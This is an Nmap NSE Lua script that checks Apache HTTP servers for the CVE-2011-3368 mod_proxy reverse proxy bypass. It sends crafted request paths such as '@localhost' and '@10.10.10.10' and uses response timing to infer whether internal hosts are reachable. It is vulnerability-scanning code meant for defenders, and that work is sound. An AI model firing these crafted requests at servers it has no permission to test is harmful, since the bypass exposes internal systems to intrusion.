1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
|
local http = require "http"
local os = require "os"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local vulns = require "vulns"
local rand = require "rand"
description = [[
Tests for the CVE-2011-3368 (Reverse Proxy Bypass) vulnerability in Apache HTTP server's reverse proxy mode.
The script will run 3 tests:
* the loopback test, with 3 payloads to handle different rewrite rules
* the internal hosts test. According to Contextis, we expect a delay before a server error.
* The external website test. This does not mean that you can reach a LAN ip, but this is a relevant issue anyway.
References:
* http://www.contextis.com/research/blog/reverseproxybypass/
]]
---
-- @usage
-- nmap --script http-vuln-cve2011-3368 <targets>
--
-- @output
-- PORT STATE SERVICE
-- 80/tcp open http
-- | http-vuln-cve2011-3368:
-- | VULNERABLE:
-- | Apache mod_proxy Reverse Proxy Security Bypass
-- | State: VULNERABLE
-- | IDs: CVE:CVE-2011-3368 BID:49957
-- | Description:
-- | An exposure was reported affecting the use of Apache HTTP Server in
-- | reverse proxy mode. The exposure could inadvertently expose internal
-- | servers to remote users who send carefully crafted requests.
-- | Disclosure date: 2011-10-05
-- | Extra information:
-- | Proxy allows requests to external websites
-- | References:
-- | https://www.securityfocus.com/bid/49957
-- |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3368
--
-- @args http-vuln-cve2011-3368.prefix sets the path prefix (directory) to check for the vulnerability.
--
author = {"Ange Gutek", "Patrik Karlsson"}
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"intrusive", "vuln"}
portrule = shortport.http
action = function(host, port)
local vuln = {
title = 'Apache mod_proxy Reverse Proxy Security Bypass',
IDS = { CVE='CVE-2011-3368', BID='49957'},
description = [[
An exposure was reported affecting the use of Apache HTTP Server in
reverse proxy mode. The exposure could inadvertently expose internal
servers to remote users who send carefully crafted requests.]],
references = { 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3368' },
dates = {
disclosure = { year='2011', month='10', day='05'}
},
}
local report = vulns.Report:new(SCRIPT_NAME, host, port)
local prefix = stdnse.get_script_args("http-vuln-cve2011-3368.prefix") or ""
-- Take a reference chrono for a 404
local start = os.time(os.date('*t'))
local random_page = rand.random_alpha(20)
local reference = http.get(host,port,("%s/%s.htm"):format(prefix,random_page))
local chrono_404 = os.time(os.date('*t'))-start
-- TEST 1: the loopback test, with 3 payloads to handle different rewrite rules
local all
all = http.pipeline_add(("%s@localhost"):format(prefix),nil, all)
all = http.pipeline_add(("%s:@localhost"):format(prefix),nil, all)
all = http.pipeline_add(("%s:@localhost:80"):format(prefix), nil, all)
local bypass_request = http.pipeline_go(host,port, all)
if ( not(bypass_request) ) then
stdnse.debug1("got no answers from pipelined queries")
return stdnse.format_output(false, "Got no answers from pipelined queries")
end
-- going through the results of TEST 1 we could see
-- * 200 OK
-- o This could be the result of the server being vulnerable
-- o This could also be the result of a generic error page
-- * 40X Error
-- o This is most likely the result of the server NOT being vulnerable
--
-- We can not determine whether the server is vulnerable or not solely
-- by relying on the 200 OK. If we have no 200 OK abort, otherwise continue
local got_200_ok
for _, response in ipairs(bypass_request) do
if ( response.status == 200 ) then
got_200_ok = true
end
end
-- if we didn't get at least one 200 OK, the server is most like NOT vulnerable
if ( not(got_200_ok) ) then
vuln.state = vulns.STATE.NOT_VULN
return report:make_output(vuln)
end
for i=1, #bypass_request, 1 do
stdnse.debug1("test %d returned a %d",i,bypass_request[i].status)
-- here a 400 should be the evidence for a patched server.
if ( bypass_request[i].status == 200 and vuln.state ~= vulns.STATE.VULN ) then
-- TEST 2: the internal hosts test. According to Contextis, we expect a delay before a server error.
-- According to my (Patrik) tests, internal hosts reachable by the server may return instant responses
local tests = {
{ prefix = "", suffix = "" },
{ prefix = ":", suffix = ""},
{ prefix = ":", suffix = ":80"}
}
-- try a bunch of hosts, and hope we hit one that's
-- not on the network, this will give us the delay we're expecting
local hosts = {
"10.10.10.10",
"192.168.211.211",
"172.16.16.16"
}
-- perform one request for each host, and stop once we
-- receive a timeout for one of them
for _, h in ipairs(hosts) do
local response = http.get(
host,
port,
("%s%s@%s%s"):format(prefix, tests[i].prefix, h, tests[i].suffix),
{ timeout = ( chrono_404 + 5 ) * 1000 }
)
-- check if the GET timed out
if ( not(response.status) ) then
vuln.state = vulns.STATE.VULN
break
end
end
end
end
-- TEST 3: The external website test. This does not mean that you can reach a LAN ip, but this is a relevant issue anyway.
local external = http.get(host,port, ("%s@scanme.nmap.org"):format(prefix))
if ( external.status == 200 and string.match(external.body,"Go ahead and ScanMe") ) then
vuln.extra_info = "Proxy allows requests to external websites"
end
return report:make_output(vuln)
end
|